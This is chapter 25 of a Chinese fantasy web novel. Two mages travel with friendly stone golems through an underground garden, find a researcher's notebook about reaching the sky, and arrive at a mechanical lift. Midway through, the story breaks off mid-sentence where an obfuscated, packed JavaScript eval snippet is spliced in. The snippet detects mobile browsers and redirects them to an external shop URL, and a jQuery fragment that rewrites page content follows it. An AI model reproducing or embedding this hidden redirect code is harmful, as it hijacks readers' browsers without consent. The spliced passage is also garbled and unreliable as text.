25. 花园与齿轮
作品:《前任变皇兄,但我只想屠龙[西幻]》 露佩拉是在一阵前所未有的舒爽中醒来的。
没有吞噬法器之后的躁动,也没有路西恩排解多余魔力之后的酸痛,她的魔力回路达到了十分精妙的平衡状态,只有某位老师傅匠心手搓才能达到这个效果。
更重要的是,她的视力已经恢复了六成,可以看见矿石和花朵发光的边缘,不需要人搀扶她也可以独立行走了。
当然她也能看到,离她极近的地方,伊利安那双黯淡而又深邃的金瞳。
昨夜的记忆断断续续回笼,她好像迷迷糊糊间睁眼,和这双眼睛对视过。
那时他的目光满是浓稠黏腻的占有欲,一如过往那些夜晚。
不过那不重要,她现在浑身舒畅,已经懒得去计较某人昨晚到底做了多少多余的额外治疗。
相比之下,伊利安的心情就没那么美好了。
他看着露佩拉那副“我爽了你随意”的表情,心里那股被始乱终弃的怨气又开始滔天。
可这股愤恨很快就被另一种隐秘而阴暗的满足感压了下去。
他能感觉到,她的呼吸和血肉里满是他的魔力,他的气息。
从头到脚,由里而外。
只有魔力传输才能做到这样的效果,也就是说某些王子牧师骑士是无法实现的。
要是让西里尔那个控制狂发现了,他大概会被气疯吧。
伊利安不由得产生了快点找到大部队的想法,毕竟时间久了这股气息就会散去。
露佩拉不知道伊利安脑子里那些弯弯绕绕,她站起身来,活动了一下四肢,然后拉着伊利安站了起来。
两人继续探索洞窟。
走了大概半刻钟,旁边的窄缝里突然钻出几个奇怪的小东西。
它们的高度大约与人类腰部持平,身体由几块粗糙的黑岩拼接而成,疑似脑袋的那块石头上并没有五官,只有一个洞。
“小心,是构装生物。”伊利安试图抬手施法。
“等等,我觉得它们没有敌意。”露佩拉拦下他,好奇地蹲下身。
因为她觉得这些石头人身上的气息莫名有些熟悉。
在她靠近的过程中,原本僵硬的小石头人变得轻快起来。
为首的小石头人通过那个孔洞发出声音:“小姐……你来……”
“来什么?”露佩拉伸出手试图互动。
那个石头人没有回答,而是用头蹭了蹭她的手指,但是动作极轻,似乎是在害怕划破她的皮肤。
露佩拉觉得它们的心智或许能够沟通,于是开始尝试问路:“你们知道怎么出去吗?”
“知道……小姐……”旁边一个个子更矮的石头人抢先作答,“这边……走……”
石头人们众星捧月地簇拥着露佩拉,还有两个石头人牵起她的手,带着她先前走去,作为同伴的伊利安就没有这么好的待遇了。
一块石头迎面而来,伊利安开盾挡住,但随之而来的是更多的石头。
“喂,”伊利安一边格挡一边喊话,“为什么它们不打你,还主动牵你的手?”
“没办法,我就是这么有魅力,”露佩拉扭过头朝他挑了挑眉,“你说对吧?”
“……”伊利安对她的问题避而不答,“你能不能先管管它们?”
“好啦好啦,别打啦,”露佩拉拿出遛狗时劝架的语气,“打坏了我就没有跟班了。”
石头人们虽然听话地停止了攻击,但依旧维持着戒备的状态,把露佩拉围在中间,不让伊利安靠近。
一行人与石头继续前行。
洞穴顶部的发光晶矿逐渐变成了垂下的发光藤蔓,其间点缀着各色形似铁线莲的花朵,偶有几只异色晶蝶蹁跹飞过,空气中浮动着星星点点小的光球,明灭如萤火。
路的尽头是一个巨大的天然洞腔,里面装着一座花园。
伊利安停下脚步,脑海中浮现出那天午后露佩拉在露台上睡午觉的样子。
“这里有很多发光的蓝铃草,花蕊上面有晶砂,轻轻一碰就会洒下带着莹光的花粉。”
伊利安轻声细语,拨动了一下花蕊,然后将花粉抹在露佩拉指尖,引导她去感受冰凉而细腻的触感。
“旁边还有飞舞的纹蝶,法师塔之前的露台上偶尔也会有……”
“这里还有粉星花,”伊利安伸手抚过花瓣边缘,食指被晶体划出一道小伤口,他却毫不在意,“你刚住进来的时候也种过,但是后来因为吸收了太多黑魔法能量,凋零了……”
他絮絮叨叨地说着许多过去的事情,虽然露佩拉只在那里住了半年,但是他却觉得好像和她度过了半生。
“……伊利安”,露佩拉转过身,隔着石头人锤了一下伊利安的肩膀,“别想那些有的没的行不行?”
“有的没的?”
伊利安似乎无法理解这个词,与她有关的事情怎么会是有的没的?
“你先想想我们能不能活着出去吧,要是出不去你的法师塔就得归别人了。”露佩拉回正视线,继续向前走。
“知道你记性好,不管是法术还是花草你都记得牢,”她语气老成,像在pua刚入职的应届生别眼高手低,“但人不是只靠记忆活着的,也要想想以后怎么过。”
伊利安沉默了片刻。
她是在为我们的未来担忧吗?
“是我的疏忽,你说得对。”伊利安的语气带上死灰复燃般的希冀,“不管是法师塔还是未来,都需要我们先想办法一起出去。”
“……你是不是又在幻想什么不切实际的事情?”
露佩拉有种应该把他丢在这里的预感,可惜她是个讲义气的人。
“不,我很清醒。”伊利安斩钉截铁。
听起来很像喝醉的人说自己没醉。
露佩拉懒得再追究他在想什么了,反正屠龙任务一完成她就丢下这堆奇奇怪怪的男人跑路,想再多也没意义。
伊利安不再说话,因为他在用眼睛去记住这个花园。
等回到法师塔,他要用法术为她再现这片奇景。
之前的花海虽然美,但只是自由生长的一片花而已,凌乱不堪。这个花园显然经过精心打理,每一株植物的间距、色彩变化都遵循着严格的规律。
尽管被封印在了无人的地底深处,并没有明媚的阳光照耀,这些花朵依然保持着被定格了一般的盛放,似乎永远不会凋零。
岩壁上的发光晶体忽明忽灭,与地面上的幽绿苔藓交相辉映,空气中漂浮着发光孢子,宛如星屑,在两人呼吸间无声起舞。
这里虽然终年不见天日,却从来不缺光。
万紫千红中,一片看起来很像衬衫的布料吸引了伊利安的目光,他用法术探查了一下,没有发现魔法或者毒素。
确认无毒无害之后,伊利安捡起布料检查了一下,在衣兜里发现了一本老旧的笔记。
笔记图文并茂,所有内容都是手写。他粗略浏览了一番,应该是某个研究人员的笔记,主要内容是关于“回家”的方法。
这个“家”指的是失落万年的天上人间。
笔记结尾的结论这样写道:回家并非痴人说梦,天上的石头并非死物,也不是毫无规律地漂浮。经过长期观测,某些地点上方的石头会在特殊的时间节点移动,排列成特定布局,形似台阶,但时间有限,且几十年一遇。
也就是说,如果能把握住这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210321|195738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个时间点,用飞行术可以实现以石头为阶上天。
可再强的法师蓝条也是有限的,就算是伊利安也不可能做到持续施放飞行术。
伊利安对着笔记陷入了沉思。
男人静悄悄,必定在作妖。
露佩拉警觉起来,因为伊利安已经半天没对着她讲解花朵的种类和养护知识了,想必憋着什么坏招吧。
她支使石头人用石头砸伊利安的肩膀,打断了他的思考。
“你砸我干什么?”伊利安揉着被砸痛的肩膀,面带无奈。
“你在干什么?”露佩拉像是抓到学生上课偷玩手机的老师,“怎么半天没动静了?”
“我在这里发现了半件衣服,里面还装着一本笔记,”伊利安拿起笔记在露佩拉眼前晃了一下,“上面写了回到天上的方法。”
“给我看看。”露佩拉眼疾手快抢了过来。
“你不是看不见吗?”伊利安并没有收回手,反而顺着她的力道松开了笔记。
露佩拉大言不惭:“过几天就好了,我先替你收着。”
“你还真想上天?”伊利安很意外,因为他一直觉得露佩拉不会相信什么天上人间的说辞,她是物理意义上脚踏实地的人。
“为什么不能想?”露佩拉将笔记收进怀里,“想了不一定能做到,但想都不敢想的话,什么都做不到。”
有枣没枣打一杆子再说。
“你为什么想去天上?”伊利安追问。
“我的身体状况你也知道,不能一直靠你或者路西恩缝缝补补,早晚有一天会彻底烂掉的。”
露佩拉罕见地叹了口气。
这是她第一次表露出对于身体状况的焦虑,虽然她很喜欢现在这种把每天都当做最后一天去活的态度,但这并不代表她真的想就这样死去。
“或许天上真的有什么神明或者世外高人能治好我呢?”
“如果治好病意味着你会失去现在的特殊体质,你再也不能毫发无伤地从高处跳下,再也不能轻松学会任何法术了呢?”
伊利安的语气有些急切,说不清是在替她担心失去金手指,还是在担心她会为了上天而选择离开。
“没有魔力和武力的生活,你真的能接受吗。”
露佩拉愣怔了一下,她从来没有考虑过这个问题,也不知道答案。
但她只是歪头一笑:“上去看看再说呗,就当旅游了。”
露佩拉蹲下身,将笔记递给石头人们看:“你们知道这是谁写的吗?”
“大个子……写……”
“他在哪里?”
“升降台……出去……”
石头人们指向花丛深处。
人已经走了?
露佩拉和伊利安对视一眼,跟着石头人们走向花园尽头。
蓝铃草轻轻摇曳,想要挽留,却只能在衣角留下点点光斑。
花丛掩映间,升降台的轮廓隐隐可见。
穿过最后一片蓝铃草丛,出现在两人眼前的是一座黑色金属构成的巨大悬梯,中间包裹着透明的晶体管状竖井。那些金属齿轮相互咬合,却没有一点噪音,这样精妙的机械构造与这个凡事全靠蛮干或者念咒的世界格格不入。
伊利安的视线从齿轮移开,落在了附近的地面上。升降台的边缘有异常严重的磨损,看起来像是大型岩石强行碾压摩擦过后的结果。
看来这个“大个子”不是一般人类,大概率也是石头人,只有岩石堆砌而成的巨物,才能在坚硬的金属上留下这样的剐蹭痕迹。
“小心那个大个子,它——”
伊利安话音未落,一阵沉闷的撞击声顺着升降井传了下来。

